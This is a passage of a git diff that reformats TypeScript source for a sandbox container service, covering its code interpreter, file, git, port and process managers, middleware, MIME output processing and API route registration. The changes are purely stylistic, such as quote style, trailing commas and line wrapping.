b/packages/sandbox-container/src/interpreter-service.ts index 81ae95eb..3d36a1ec 100644 --- a/packages/sandbox-container/src/interpreter-service.ts +++ b/packages/sandbox-container/src/interpreter-service.ts @@ -1,6 +1,10 @@ -import { randomUUID } from "node:crypto"; -import type { Logger } from "@repo/shared"; -import { type InterpreterLanguage, processPool, type RichOutput } from "./runtime/process-pool"; +import { randomUUID } from 'node:crypto'; +import type { Logger } from '@repo/shared'; +import { + type InterpreterLanguage, + processPool, + type RichOutput +} from './runtime/process-pool'; export interface CreateContextRequest { language?: string; @@ -29,7 +33,7 @@ export class InterpreterNotReadyError extends Error { super(message); this.progress = progress; this.retryAfter = retryAfter; - this.name = "InterpreterNotReadyError"; + this.name = 'InterpreterNotReadyError'; } } @@ -45,20 +49,20 @@ export class InterpreterService { return { ready: true, initializing: false, - progress: 100, + progress: 100 }; } async createContext(request: CreateContextRequest): Promise { const id = randomUUID(); - const language = this.mapLanguage(request.language || "python"); + const language = this.mapLanguage(request.language || 'python'); const context: Context = { id, language, - cwd: request.cwd || "/workspace", + cwd: request.cwd || '/workspace', createdAt: new Date().toISOString(), - lastUsed: new Date().toISOString(), + lastUsed: new Date().toISOString() }; this.contexts.set(id, context); @@ -87,11 +91,11 @@ export class InterpreterService { if (!context) { return new Response( JSON.stringify({ - error: `Context ${contextId} not found`, + error: `Context ${contextId} not found` }), { status: 404, - headers: { "Content-Type": "application/json" }, + headers: { 'Content-Type': 'application/json' } } ); } @@ -120,8 +124,8 @@ export class InterpreterService { controller.enqueue( encoder.encode( self.formatSSE({ - type: "stdout", - text: result.stdout, + type: 'stdout', + text: result.stdout }) ) ); @@ -131,8 +135,8 @@ export class InterpreterService { controller.enqueue( encoder.encode( self.formatSSE({ - type: "stderr", - text: result.stderr, + type: 'stderr', + text: result.stderr }) ) ); @@ -144,9 +148,9 @@ export class InterpreterService { controller.enqueue( encoder.encode( self.formatSSE({ - type: "result", + type: 'result', ...outputData, - metadata: output.metadata || {}, + metadata: output.metadata || {} }) ) ); @@ -157,8 +161,8 @@ export class InterpreterService { controller.enqueue( encoder.encode( self.formatSSE({ - type: "execution_complete", - execution_count: 1, + type: 'execution_complete', + execution_count: 1 }) ) ); @@ -166,10 +170,12 @@ export class InterpreterService { controller.enqueue( encoder.encode( self.formatSSE({ - type: "error", - ename: result.error.type || "ExecutionError", - evalue: result.error.message || "Code execution failed", - traceback: result.error.traceback ? result.error.traceback.split('\n') : [], + type: 'error', + ename: result.error.type || 'ExecutionError', + evalue: result.error.message || 'Code execution failed', + traceback: result.error.traceback + ? result.error.traceback.split('\n') + : [] }) ) ); @@ -177,10 +183,10 @@ export class InterpreterService { controller.enqueue( encoder.encode( self.formatSSE({ - type: "error", - ename: "ExecutionError", - evalue: result.stderr || "Code execution failed", - traceback: [], + type: 'error', + ename: 'ExecutionError', + evalue: result.stderr || 'Code execution failed', + traceback: [] }) ) ); @@ -196,25 +202,25 @@ export class InterpreterService { controller.enqueue( encoder.encode( self.formatSSE({ - type: "error", - ename: "InternalError", + type: 'error', + ename: 'InternalError', evalue: error instanceof Error ? error.message : String(error), - traceback: [], + traceback: [] }) ) ); controller.close(); } - }, + } }); return new Response(stream, { headers: { - "Content-Type": "text/event-stream", - "Cache-Control": "no-cache", - Connection: "keep-alive", - }, + 'Content-Type': 'text/event-stream', + 'Cache-Control': 'no-cache', + Connection: 'keep-alive' + } }); } @@ -222,21 +228,21 @@ export class InterpreterService { const normalized = language.toLowerCase(); switch (normalized) { - case "python": - case "python3": - return "python"; - case "javascript": - case "js": - case "node": - return "javascript"; - case "typescript": - case "ts": - return "typescript"; + case 'python': + case 'python3': + return 'python'; + case 'javascript': + case 'js': + case 'node': + return 'javascript'; + case 'typescript': + case 'ts': + return 'typescript'; default: this.logger.warn('Unknown language, defaulting to python', { requestedLanguage: language }); - return "python"; + return 'python'; } } @@ -244,31 +250,34 @@ export class InterpreterService { const result: Record = {}; switch (output.type) { - case "image": + case 'image': result.png = output.data; break; - case "jpeg": + case 'jpeg': result.jpeg = output.data; break; - case "svg": + case 'svg': result.svg = output.data; break; - case "html": + case 'html': result.html = output.data; break; - case "json": - result.json = typeof output.data === 'string' ? JSON.parse(output.data) : output.data; + case 'json': + result.json = + typeof output.data === 'string' + ? JSON.parse(output.data) + : output.data; break; - case "latex": + case 'latex': result.latex = output.data; break; - case "markdown": + case 'markdown': result.markdown = output.data; break; - case "javascript": + case 'javascript': result.javascript = output.data; break; - case "text": + case 'text': result.text = output.data; break; default: diff --git a/packages/sandbox-container/src/managers/file-manager.ts b/packages/sandbox-container/src/managers/file-manager.ts index 46848738..2eb23bce 100644 --- a/packages/sandbox-container/src/managers/file-manager.ts +++ b/packages/sandbox-container/src/managers/file-manager.ts @@ -49,7 +49,9 @@ export class FileManager { const parts = output.trim().split(':'); if (parts.length < 4) { - throw new Error(`Invalid stat output format: expected 4 parts, got ${parts.length}`); + throw new Error( + `Invalid stat output format: expected 4 parts, got ${parts.length}` + ); } const [type, size, modified, created] = parts; @@ -62,7 +64,7 @@ export class FileManager { isDirectory: normalizedType.includes('directory'), size: parseInt(size, 10), modified: new Date(parseInt(modified, 10) * 1000), - created: new Date(parseInt(created, 10) * 1000), + created: new Date(parseInt(created, 10) * 1000) }; } @@ -85,11 +87,15 @@ export class FileManager { * Build stat command arguments for getting file stats * Uses format: type:size:modified:created */ - buildStatArgs(path: string): { command: string; args: string[]; format: string } { + buildStatArgs(path: string): { + command: string; + args: string[]; + format: string; + } { return { command: 'stat', args: ['-c', '%F:%s:%Y:%W', path], - format: 'type:size:modified:created', + format: 'type:size:modified:created' }; } @@ -105,7 +111,10 @@ export class FileManager { return 'FILE_NOT_FOUND'; } - if (lowerMessage.includes('permission') || lowerMessage.includes('eacces')) { + if ( + lowerMessage.includes('permission') || + lowerMessage.includes('eacces') + ) { return 'PERMISSION_DENIED'; } @@ -117,7 +126,10 @@ export class FileManager { return 'DISK_FULL'; } - if (lowerMessage.includes('directory not empty') || lowerMessage.includes('enotempty')) { + if ( + lowerMessage.includes('directory not empty') || + lowerMessage.includes('enotempty') + ) { return 'DIR_NOT_EMPTY'; } @@ -173,7 +185,7 @@ export class FileManager { return { valid: errors.length === 0, - errors, + errors }; } @@ -186,14 +198,14 @@ export class FileManager { return { operation: 'read', paths: [paths[0]], - requiresCheck: true, + requiresCheck: true }; case 'write': return { operation: 'write', paths: [paths[0]], - requiresCheck: false, + requiresCheck: false }; case 'delete': @@ -203,8 +215,8 @@ export class FileManager { requiresCheck: true, command: { executable: 'rm', - args: [paths[0]], - }, + args: [paths[0]] + } }; case 'rename': @@ -214,29 +226,29 @@ export class FileManager { requiresCheck: true, command: { executable: 'mv', - args: [paths[0], paths[1]], - }, + args: [paths[0], paths[1]] + } }; case 'move': return { operation: 'move', paths: [paths[0], paths[1]], - requiresCheck: true, + requiresCheck: true }; case 'mkdir': return { operation: 'mkdir', paths: [paths[0]], - requiresCheck: false, + requiresCheck: false }; case 'stat': return { operation: 'stat', paths: [paths[0]], - requiresCheck: true, + requiresCheck: true }; default: @@ -282,7 +294,7 @@ export class FileManager { move: 'move', mkdir: 'create directory', stat: 'get stats for', - exists: 'check existence of', + exists: 'check existence of' }; const verb = operationVerbs[operation] || 'operate on'; diff --git a/packages/sandbox-container/src/managers/git-manager.ts b/packages/sandbox-container/src/managers/git-manager.ts index fd5121f7..847c22a8 100644 --- a/packages/sandbox-container/src/managers/git-manager.ts +++ b/packages/sandbox-container/src/managers/git-manager.ts @@ -63,7 +63,11 @@ export class GitManager { * Build git clone command arguments * Returns array of args to pass to spawn (e.g., ['git', 'clone', '--branch', 'main', 'url', 'path']) */ - buildCloneArgs(repoUrl: string, targetDir: string, options: CloneOptions = {}): string[] { + buildCloneArgs( + repoUrl: string, + targetDir: string, + options: CloneOptions = {} + ): string[] { const args = ['git', 'clone']; if (options.branch) { @@ -107,12 +111,12 @@ export class GitManager { parseBranchList(stdout: string): string[] { const branches = stdout .split('\n') - .map(line => line.trim()) - .filter(line => line.length > 0) - .map(line => line.replace(/^\*\s*/, '')) // Remove current branch marker - .map(line => line.replace(/^remotes\/origin\//, '')) // Simplify remote branch names + .map((line) => line.trim()) + .filter((line) => line.length > 0) + .map((line) => line.replace(/^\*\s*/, '')) // Remove current branch marker + .map((line) => line.replace(/^remotes\/origin\//, '')) // Simplify remote branch names .filter((branch, index, array) => array.indexOf(branch) === index) // Remove duplicates - .filter(branch => branch !== 'HEAD'); // Remove HEAD reference + .filter((branch) => branch !== 'HEAD'); // Remove HEAD reference return branches; } @@ -124,7 +128,7 @@ export class GitManager { if (!branch || branch.trim().length === 0) { return { isValid: false, - error: 'Branch name cannot be empty', + error: 'Branch name cannot be empty' }; } @@ -137,7 +141,11 @@ export class GitManager { /** * Determine appropriate error code based on operation and error */ - determineErrorCode(operation: string, error: Error | string, exitCode?: number): string { + determineErrorCode( + operation: string, + error: Error | string, + exitCode?: number + ): string { const errorMessage = typeof error === 'string' ? error : error.message; const lowerMessage = errorMessage.toLowerCase(); @@ -153,11 +161,17 @@ export class GitManager { } // Common error patterns - if (lowerMessage.includes('permission denied') || lowerMessage.includes('access denied')) { + if ( + lowerMessage.includes('permission denied') || + lowerMessage.includes('access denied') + ) { return 'GIT_PERMISSION_DENIED'; } - if (lowerMessage.includes('not found') || lowerMessage.includes('does not exist')) { + if ( + lowerMessage.includes('not found') || + lowerMessage.includes('does not exist') + ) { return 'GIT_NOT_FOUND'; } @@ -165,11 +179,17 @@ export class GitManager { return 'GIT_ALREADY_EXISTS'; } - if (lowerMessage.includes('did not match') || lowerMessage.includes('pathspec')) { + if ( + lowerMessage.includes('did not match') || + lowerMessage.includes('pathspec') + ) { return 'GIT_INVALID_REF'; } - if (lowerMessage.includes('authentication') || lowerMessage.includes('credentials')) { + if ( + lowerMessage.includes('authentication') || + lowerMessage.includes('credentials') + ) { return 'GIT_AUTH_FAILED'; } @@ -191,12 +211,16 @@ export class GitManager { /** * Create standardized error message for git operations */ - createErrorMessage(operation: string, context: Record, error: string): string { + createErrorMessage( + operation: string, + context: Record, + error: string + ): string { const operationVerbs: Record = { clone: 'clone repository', checkout: 'checkout branch', getCurrentBranch: 'get current branch', - listBranches: 'list branches', + listBranches: 'list branches' }; const verb = operationVerbs[operation] || 'perform git operation'; @@ -211,7 +235,9 @@ export class GitManager { * Check if git URL appears to be SSH format */ isSshUrl(url: string): boolean { - return url.startsWith('git@') || url.includes(':') && !url.startsWith('http'); + return ( + url.startsWith('git@') || (url.includes(':') && !url.startsWith('http')) + ); } /** diff --git a/packages/sandbox-container/src/managers/port-manager.ts b/packages/sandbox-container/src/managers/port-manager.ts index 5eea4160..90447e20 100644 --- a/packages/sandbox-container/src/managers/port-manager.ts +++ b/packages/sandbox-container/src/managers/port-manager.ts @@ -47,7 +47,7 @@ export class PortManager { return { targetPath, - targetUrl, + targetUrl }; } @@ -59,7 +59,7 @@ export class PortManager { port, name, exposedAt: new Date(), - status: 'active', + status: 'active' }; } @@ -69,7 +69,7 @@ export class PortManager { createInactivePortInfo(existingInfo: PortInfo): PortInfo { return { ...existingInfo, - status: 'inactive', + status: 'inactive' }; } @@ -85,15 +85,24 @@ export class PortManager { return 'PORT_NOT_FOUND'; } - if (lowerMessage.includes('already exposed') || lowerMessage.includes('conflict')) { + if ( + lowerMessage.includes('already exposed') || + lowerMessage.includes('conflict') + ) { return 'PORT_ALREADY_EXPOSED'; } - if (lowerMessage.includes('connection refused') || lowerMessage.includes('econnrefused')) { + if ( + lowerMessage.includes('connection refused') || + lowerMessage.includes('econnrefused') + ) { return 'CONNECTION_REFUSED'; } - if (lowerMessage.includes('timeout') || lowerMessage.includes('etimedout')) { + if ( + lowerMessage.includes('timeout') || + lowerMessage.includes('etimedout') + ) { return 'CONNECTION_TIMEOUT'; } @@ -129,7 +138,7 @@ export class PortManager { get: 'get info for', proxy: 'proxy request to', update: 'update', - cleanup: 'cleanup', + cleanup: 'cleanup' }; const verb = operationVerbs[operation] || 'operate on'; @@ -148,7 +157,10 @@ export class PortManager { */ formatPortList(ports: Array<{ port: number; info: PortInfo }>): string { return ports - .map(({ port, info }) => `${port} (${info.name || 'unnamed'}, ${info.status})`) + .map( + ({ port, info }) => + `${port} (${info.name || 'unnamed'}, ${info.status})` + ) .join(', '); } diff --git a/packages/sandbox-container/src/managers/process-manager.ts b/packages/sandbox-container/src/managers/process-manager.ts index 8ed3a26a..c09754bd 100644 --- a/packages/sandbox-container/src/managers/process-manager.ts +++ b/packages/sandbox-container/src/managers/process-manager.ts @@ -28,7 +28,7 @@ export class ProcessManager { return { valid: false, error: 'Invalid command: empty command provided', - code: 'INVALID_COMMAND', + code: 'INVALID_COMMAND' }; } @@ -53,7 +53,7 @@ export class ProcessManager { stdout: '', stderr: '', outputListeners: new Set(), - statusListeners: new Set(), + statusListeners: new Set() }; } diff --git a/packages/sandbox-container/src/middleware/cors.ts b/packages/sandbox-container/src/middleware/cors.ts index 4f8f4f37..6bc85c00 100644 --- a/packages/sandbox-container/src/middleware/cors.ts +++ b/packages/sandbox-container/src/middleware/cors.ts @@ -11,7 +11,7 @@ export class CorsMiddleware implements Middleware { if (request.method === 'OPTIONS') { return new Response(null, { status: 200, - headers: context.corsHeaders, + headers: context.corsHeaders }); } @@ -24,10 +24,10 @@ export class CorsMiddleware implements Middleware { statusText: response.statusText, headers: { ...Object.fromEntries(response.headers.entries()), - ...context.corsHeaders, - }, + ...context.corsHeaders + } }); return corsResponse; } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/middleware/logging.ts b/packages/sandbox-container/src/middleware/logging.ts index f5d6411f..3b180a38 100644 --- a/packages/sandbox-container/src/middleware/logging.ts +++ b/packages/sandbox-container/src/middleware/logging.ts @@ -19,7 +19,7 @@ export class LoggingMiddleware implements Middleware { method, pathname, sessionId: context.sessionId, - timestamp: context.timestamp.toISOString(), + timestamp: context.timestamp.toISOString() }); try { @@ -31,21 +31,25 @@ export class LoggingMiddleware implements Middleware { method, pathname, status: response.status, - duration, + duration }); return response; } catch (error) { const duration = Date.now() - startTime; - this.logger.error('Request failed', error instanceof Error ? error : new Error('Unknown error'), { - requestId: context.requestId, - method, - pathname, - duration, - }); + this.logger.error( + 'Request failed', + error instanceof Error ? error : new Error('Unknown error'), + { + requestId: context.requestId, + method, + pathname, + duration + } + ); throw error; } } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/mime-processor.ts b/packages/sandbox-container/src/mime-processor.ts index 9f9157f7..c9ad4d48 100644 --- a/packages/sandbox-container/src/mime-processor.ts +++ b/packages/sandbox-container/src/mime-processor.ts @@ -2,8 +2,8 @@ export interface ExecutionResult { type: 'result' | 'stdout' | 'stderr' | 'error' | 'execution_complete'; text?: string; html?: string; - png?: string; // base64 - jpeg?: string; // base64 + png?: string; // base64 + jpeg?: string; // base64 svg?: string; latex?: string; markdown?: string; @@ -20,7 +20,14 @@ export interface ExecutionResult { } export interface ChartData { - type: 'line' | 'bar' | 'scatter' | 'pie' | 'histogram' | 'heatmap' | 'unknown'; + type: + | 'line' + | 'bar' + | 'scatter' + | 'pie' + | 'histogram' + | 'heatmap' + | 'unknown'; title?: string; data: any; layout?: any; @@ -29,227 +36,245 @@ export interface ChartData { } export function processMessage(msg: any): ExecutionResult | null { - const msgType = msg.header?.msg_type || msg.msg_type; - - switch (msgType) { - case 'execute_result': - case 'display_data': - return processDisplayData(msg.content.data, msg.content.metadata); - - case 'stream': - return { - type: msg.content.name === 'stdout' ? 'stdout' : 'stderr', - text: msg.content.text, - timestamp: Date.now() - }; - - case 'error': - return { - type: 'error', - ename: msg.content.ename, - evalue: msg.content.evalue, - traceback: msg.content.traceback, - timestamp: Date.now() - }; - - default: - return null; - } + const msgType = msg.header?.msg_type || msg.msg_type; + + switch (msgType) { + case 'execute_result': + case 'display_data': + return processDisplayData(msg.content.data, msg.content.metadata); + + case 'stream': + return { + type: msg.content.name === 'stdout' ? 'stdout' : 'stderr', + text: msg.content.text, + timestamp: Date.now() + }; + + case 'error': + return { + type: 'error', + ename: msg.content.ename, + evalue: msg.content.evalue, + traceback: msg.content.traceback, + timestamp: Date.now() + }; + + default: + return null; } +} function processDisplayData(data: any, metadata?: any): ExecutionResult { - const result: ExecutionResult = { - type: 'result', - timestamp: Date.now(), - metadata - }; - - // Process different MIME types in order of preference - - // Interactive/Rich formats - if (data['application/vnd.plotly.v1+json']) { - result.chart = extractPlotlyChart(data['application/vnd.plotly.v1+json']); - result.json = data['application/vnd.plotly.v1+json']; - } - - if (data['application/vnd.vega.v5+json']) { - result.chart = extractVegaChart(data['application/vnd.vega.v5+json'], 'vega'); - result.json = data['application/vnd.vega.v5+json']; - } - - if (data['application/vnd.vegalite.v4+json'] || data['application/vnd.vegalite.v5+json']) { - const vegaData = data['application/vnd.vegalite.v4+json'] || data['application/vnd.vegalite.v5+json']; - result.chart = extractVegaChart(vegaData, 'vega-lite'); - result.json = vegaData; - } - - // HTML content (tables, formatted output) - if (data['text/html']) { - result.html = data['text/html']; - - // Check if it's a pandas DataFrame - if (isPandasDataFrame(data['text/html'])) { - result.data = { type: 'dataframe', html: data['text/html'] }; - } - } - - // Images - if (data['image/png']) { - result.png = data['image/png']; - - // Try to detect if it's a chart - if (isLikelyChart(data, metadata)) { - result.chart = { - type: 'unknown', - library: 'matplotlib', - data: { image: data['image/png'] } - }; - } - } - - if (data['image/jpeg']) { - result.jpeg = data['image/jpeg']; - } - - if (data['image/svg+xml']) { - result.svg = data['image/svg+xml']; - } - - // Mathematical content - if (data['text/latex']) { - result.latex = data['text/latex']; - } - - // Code - if (data['application/javascript']) { - result.javascript = data['application/javascript']; - } - - // Structured data - if (data['application/json']) { - result.json = data['application/json']; - } - - // Markdown - if (data['text/markdown']) { - result.markdown = data['text/markdown']; + const result: ExecutionResult = { + type: 'result', + timestamp: Date.now(), + metadata + }; + + // Process different MIME types in order of preference + + // Interactive/Rich formats + if (data['application/vnd.plotly.v1+json']) { + result.chart = extractPlotlyChart(data['application/vnd.plotly.v1+json']); + result.json = data['application/vnd.plotly.v1+json']; + } + + if (data['application/vnd.vega.v5+json']) { + result.chart = extractVegaChart( + data['application/vnd.vega.v5+json'], + 'vega' + ); + result.json = data['application/vnd.vega.v5+json']; + } + + if ( + data['application/vnd.vegalite.v4+json'] || + data['application/vnd.vegalite.v5+json'] + ) { + const vegaData = + data['application/vnd.vegalite.v4+json'] || + data['application/vnd.vegalite.v5+json']; + result.chart = extractVegaChart(vegaData, 'vega-lite'); + result.json = vegaData; + } + + // HTML content (tables, formatted output) + if (data['text/html']) { + result.html = data['text/html']; + + // Check if it's a pandas DataFrame + if (isPandasDataFrame(data['text/html'])) { + result.data = { type: 'dataframe', html: data['text/html'] }; } - - // Plain text (fallback) - if (data['text/plain']) { - result.text = data['text/plain']; + } + + // Images + if (data['image/png']) { + result.png = data['image/png']; + + // Try to detect if it's a chart + if (isLikelyChart(data, metadata)) { + result.chart = { + type: 'unknown', + library: 'matplotlib', + data: { image: data['image/png'] } + }; } - - return result; } + if (data['image/jpeg']) { + result.jpeg = data['image/jpeg']; + } + + if (data['image/svg+xml']) { + result.svg = data['image/svg+xml']; + } + + // Mathematical content + if (data['text/latex']) { + result.latex = data['text/latex']; + } + + // Code + if (data['application/javascript']) { + result.javascript = data['application/javascript']; + } + + // Structured data + if (data['application/json']) { + result.json = data['application/json']; + } + + // Markdown + if (data['text/markdown']) { + result.markdown = data['text/markdown']; + } + + // Plain text (fallback) + if (data['text/plain']) { + result.text = data['text/plain']; + } + + return result; +} + function extractPlotlyChart(plotlyData: any): ChartData { - const data = plotlyData.data || plotlyData; - const layout = plotlyData.layout || {}; - - // Try to detect chart type from traces - let chartType: ChartData['type'] = 'unknown'; - if (data && data.length > 0) { - const firstTrace = data[0]; - if (firstTrace.type === 'scatter') { - chartType = firstTrace.mode?.includes('lines') ? 'line' : 'scatter'; - } else if (firstTrace.type === 'bar') { + const data = plotlyData.data || plotlyData; + const layout = plotlyData.layout || {}; + + // Try to detect chart type from traces + let chartType: ChartData['type'] = 'unknown'; + if (data && data.length > 0) { + const firstTrace = data[0]; + if (firstTrace.type === 'scatter') { + chartType = firstTrace.mode?.includes('lines') ? 'line' : 'scatter'; + } else if (firstTrace.type === 'bar') { + chartType = 'bar'; + } else if (firstTrace.type === 'pie') { + chartType = 'pie'; + } else if (firstTrace.type === 'histogram') { + chartType = 'histogram'; + } else if (firstTrace.type === 'heatmap') { + chartType = 'heatmap'; + } + } + + return { + type: chartType, + title: layout.title?.text || layout.title, + data: data, + layout: layout, + config: plotlyData.config, + library: 'plotly' + }; +} + +function extractVegaChart( + vegaData: any, + format: 'vega' | 'vega-lite' +): ChartData { + // Try to detect chart type from mark or encoding + let chartType: ChartData['type'] = 'unknown'; + + if (format === 'vega-lite' && vegaData.mark) { + const mark = + typeof vegaData.mark === 'string' ? vegaData.mark : vegaData.mark.type; + switch (mark) { + case 'line': + chartType = 'line'; + break; + case 'bar': chartType = 'bar'; - } else if (firstTrace.type === 'pie') { + break; + case 'point': + case 'circle': + chartType = 'scatter'; + break; + case 'arc': chartType = 'pie'; - } else if (firstTrace.type === 'histogram') { - chartType = 'histogram'; - } else if (firstTrace.type === 'heatmap') { - chartType = 'heatmap'; - } + break; + case 'rect': + if (vegaData.encoding?.color) { + chartType = 'heatmap'; + } + break; } - - return { - type: chartType, - title: layout.title?.text || layout.title, - data: data, - layout: layout, - config: plotlyData.config, - library: 'plotly' - }; - } - -function extractVegaChart(vegaData: any, format: 'vega' | 'vega-lite'): ChartData { - // Try to detect chart type from mark or encoding - let chartType: ChartData['type'] = 'unknown'; - - if (format === 'vega-lite' && vegaData.mark) { - const mark = typeof vegaData.mark === 'string' ? vegaData.mark : vegaData.mark.type; - switch (mark) { - case 'line': - chartType = 'line'; - break; - case 'bar': - chartType = 'bar'; - break; - case 'point': - case 'circle': - chartType = 'scatter'; - break; - case 'arc': - chartType = 'pie'; - break; - case 'rect': - if (vegaData.encoding?.color) { - chartType = 'heatmap'; - } - break; - } - } - - return { - type: chartType, - title: vegaData.title, - data: vegaData, - library: 'altair' // Altair outputs Vega-Lite - }; } + return { + type: chartType, + title: vegaData.title, + data: vegaData, + library: 'altair' // Altair outputs Vega-Lite + }; +} + function isPandasDataFrame(html: string): boolean { - // Simple heuristic to detect pandas DataFrame HTML - return html.includes('dataframe') || - (html.includes(' container.get('sessionHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('sessionHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/session/list', - handler: async (req, ctx) => container.get('sessionHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('sessionHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); // Execute routes router.register({ method: 'POST', path: '/api/execute', - handler: async (req, ctx) => container.get('executeHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('executeHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/execute/stream', - handler: async (req, ctx) => container.get('executeHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('executeHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); // File operation routes @@ -39,63 +43,63 @@ export function setupRoutes(router: Router, container: Container): void { method: 'POST', path: '/api/read', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/read/stream', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/write', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/delete', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/rename', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/move', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/mkdir', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/list-files', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/exists', handler: async (req, ctx) => container.get('fileHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); // Port management routes @@ -103,71 +107,78 @@ export function setupRoutes(router: Router, container: Container): void { method: 'POST', path: '/api/expose-port', handler: async (req, ctx) => container.get('portHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/exposed-ports', handler: async (req, ctx) => container.get('portHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'DELETE', path: '/api/exposed-ports/{port}', handler: async (req, ctx) => container.get('portHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); // Process management routes router.register({ method: 'POST', path: '/api/process/start', - handler: async (req, ctx) => container.get('processHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('processHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/process/list', - handler: async (req, ctx) => container.get('processHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('processHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'DELETE', path: '/api/process/kill-all', - handler: async (req, ctx) => container.get('processHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('processHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/process/{id}', - handler: async (req, ctx) => container.get('processHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('processHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'DELETE', path: '/api/process/{id}', - handler: async (req, ctx) => container.get('processHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('processHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/process/{id}/logs', - handler: async (req, ctx) => container.get('processHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('processHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/process/{id}/stream', - handler: async (req, ctx) => container.get('processHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('processHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); // Git operations @@ -175,43 +186,48 @@ export function setupRoutes(router: Router, container: Container): void { method: 'POST', path: '/api/git/checkout', handler: async (req, ctx) => container.get('gitHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); // Interpreter/Code execution routes router.register({ method: 'GET', path: '/api/interpreter/health', - handler: async (req, ctx) => container.get('interpreterHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('interpreterHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/contexts', - handler: async (req, ctx) => container.get('interpreterHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('interpreterHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/contexts', - handler: async (req, ctx) => container.get('interpreterHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('interpreterHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'DELETE', path: '/api/contexts/{id}', - handler: async (req, ctx) => container.get('interpreterHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('interpreterHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/api/execute/code', - handler: async (req, ctx) => container.get('interpreterHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + handler: async (req, ctx) => + container.get('interpreterHandler').handle(req, ctx), + middleware: [container.get('loggingMiddleware')] }); // Proxy routes (catch-all for /proxy/*) @@ -219,55 +235,55 @@ export function setupRoutes(router: Router, container: Container): void { method: 'GET', path: '/proxy/{port}', handler: async (req, ctx) => container.get('portHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'POST', path: '/proxy/{port}', handler: async (req, ctx) => container.get('portHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 